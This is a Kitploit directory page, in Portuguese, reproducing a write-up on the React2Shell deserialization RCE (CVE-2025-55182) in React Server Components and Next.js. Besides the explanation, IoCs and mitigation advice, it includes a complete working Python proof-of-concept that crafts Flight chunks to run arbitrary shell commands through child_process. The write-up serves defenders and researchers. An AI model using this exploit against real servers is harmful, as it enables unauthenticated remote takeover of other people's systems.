Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js. | Kitploit
Ferramentas/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
Gerenciamento de Indicadores de Comprometimento (IOC)Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoInteligência de AmeaçasPapers e PesquisaAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Resposta a Incidentes
Desenvolvimento de Payloads
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js.

Ver Repositório
8há 8 mesesAinda não revisado
Compartilhar

React2Shell (CVE-2025-55182): O Bug de Desserialização Que Quebrou a Web ⚡

React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js.

⏩ TL;DR

React2Shell (CVE-2025-55182) é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os React Server Components (RSC) no React 19.x e frameworks como Next.js. A falha reside na desserialização insegura de chunks do protocolo “Flight”, permitindo que atacantes injetem estruturas maliciosas que se resolvem no construtor Function, resultando em execução arbitrária de JavaScript no servidor.

  • Funciona em configurações padrão
  • Não requer autenticação
  • Explora requisições multipart/form-data padrão
  • Leva à tomada total do servidor
  • PoC pública existe (creditada abaixo)
  • Mitigação: Atualizar para React 19.2.1+ / versões corrigidas do Next.js

React2Shell


👋 Introdução

Os React Server Components foram introduzidos para unir a renderização cliente/servidor com um fluxo de trabalho mais contínuo e componível. Para isso, o React usa um canal de serialização personalizado, meio binário, chamado protocolo Flight.

Infelizmente, a lógica de desserialização deste protocolo continha uma falha sutil que permitia que atacantes contrabandeassem payloads maliciosos profundamente no runtime do React.

O resultado? Uma cadeia completa e não autenticada de execução remota de código, agora apelidada de React2Shell — e sim, seu impacto é comparável ao Log4Shell em escala e acessibilidade. 🔥

Este artigo detalha a vulnerabilidade em um formato claro e acionável — ideal para profissionais de VAPT, pesquisadores e defensores.


🧠 A Vulnerabilidade Explicada (React2Shell em Termos Simples)

🧩 1. Como o Protocolo Flight do React Funciona

O RSC se comunica com o cliente enviando “chunks” serializados que representam referências, objetos, metadados de componentes, limites assíncronos, etc.

Quando esses chunks chegam ao servidor ou cliente, o React os desserializa de volta em objetos e funções.

Esse processo assume que a estrutura de dados é segura. Foi aí que tudo quebrou.


💥 2. A Falha Central: Desserialização Insegura → Construtor Function → RCE

Os atacantes encontraram uma maneira de criar chunks maliciosos contendo:

  • Acessores de protótipo
  • Objetos falsos semelhantes a promessas (thenables)
  • Chaves referenciando a cadeia de protótipos
  • Caminhos que finalmente expõem o construtor Function

Exemplo de padrão:

root@kitploit:~
"$then": { "constructor": { "prototype": null } }

Durante a desserialização, o React interpreta esse objeto como um thenable e chama:

root@kitploit:~
promise.then(...)

Mas aqui, then é na verdade o construtor Function, então a chamada torna-se:

root@kitploit:~
(new Function("malicious_payload"))();

Isso resulta em execução arbitrária de JavaScript dentro do ambiente Node.js que executa os React Server Components.

Boom — você tem RCE.


🚨 3. Por Que É Tão Perigoso

  • Nenhuma autenticação necessária
  • Funciona em apps Next.js padrão
  • Nenhuma configuração ou flag especial necessária
  • Simples requisição HTTP POST
  • Leva ao comprometimento total: escrita de arquivos, spawn de processos, movimento lateral

É por isso que fornecedores de nuvem, equipes de segurança e CERTs reagiram instantaneamente quando isso se tornou público.


🚨 Indicadores de Comprometimento (IoCs)

📡 IoCs de Rede

  • Requisições POST multipart para:
    • /react
    • /rsc
    • /server, /flight, /server-actions
  • Payloads contendo chaves como:
    • $then
    • $proto
    • $constructor
    • $type

🖥️ IoCs ao Nível do Host

  • Execuções suspeitas de Node.js como:
    root@kitploit:~
    node -e "<payload>"
    
  • Arquivos inesperados em:
    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 IoCs Comportamentais

  • Logs de incompatibilidade de hidratação anteriores a anomalias de execução
  • Conexões de saída súbitas para IPs suspeitos
  • Falhas nos manipuladores de desserialização do RSC
  • Chunks Flight incomuns ou malformados retornados pelo servidor

🧪 PoC

⚠️ Nota Importante
Eu não sou o dono deste PoC.
Ele é referenciado do seguinte repositório público, com todos os créditos ao autor:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ Aviso Legal:

O seguinte Proof-of-Concept (PoC) é fornecido estritamente para fins educacionais e de pesquisa defensiva em cibersegurança.
Ele deve ser executado apenas em ambientes de laboratório isolados ou em sistemas onde você tenha autorização explícita para testar.

O uso indevido deste código para acesso não autorizado, exploração ou comprometimento de sistemas é ilegal, antiético e punível sob leis de cibersegurança.
Prossiga com responsabilidade. 🛡️💻

Abaixo está o PoC completo:

root@kitploit:~
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ Aviso Legal:

Se você executou este PoC, certifique-se de que o fez em um sandbox controlado e não em qualquer ativo de produção ou de terceiros.

Esta demonstração existe unicamente para ajudar analistas, desenvolvedores e defensores a entender, detectar e mitigar CVE-2025-55182 (React2Shell).
Qualquer uso malicioso ou não autorizado desta informação é estritamente proibido e não é endossado pelo autor.

Mantenha-se ético. Mantenha-se seguro. 🐉🔥


🛡️ Estratégia de Mitigação e Defesa

✅ 1. Atualize Imediatamente

  • React → 19.2.1+
  • Next.js → versões corrigidas lançadas pela Vercel
  • Outros frameworks habilitados para RSC → aplique patches do fornecedor

🔐 2. Reforço de Curto Prazo

  • Adicione assinaturas WAF para padrões de desserialização do RSC
  • Bloqueie tráfego POST multipart suspeito
  • Restringa acesso público a endpoints de server-action
  • Desative recursos experimentais do RSC se não forem necessários
  • Imponha validação rigorosa de requisições de entrada

🧱 3. Defesa em Profundidade

  • Use sandboxing do runtime Node.js
  • Ative restrições de rede de saída
  • Audite execução inesperada de código no servidor
  • Adicione detecção de anomalias a logs e pipelines de build

👋 Conclusão — Mantenha a Curiosidade, Mantenha-se Seguro 🔥

React2Shell é um lembrete poderoso de que camadas de serialização, por mais elegantes que sejam, continuam sendo um dos componentes mais perigosos em frameworks modernos. No momento em que objetos arbitrários tocam o runtime sem validação, a cadeia para RCE se torna dolorosamente curta.

Obrigado por ler — e como sempre, continue hackeando eticamente, continue aprendendo constantemente e mantenha esse fogo da segurança aceso. 🔥🐉


⭐ Siga-me e Conecte-se

Se você gostou deste artigo ou deseja permanecer conectado com minha pesquisa em cibersegurança:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


Baixar ferramenta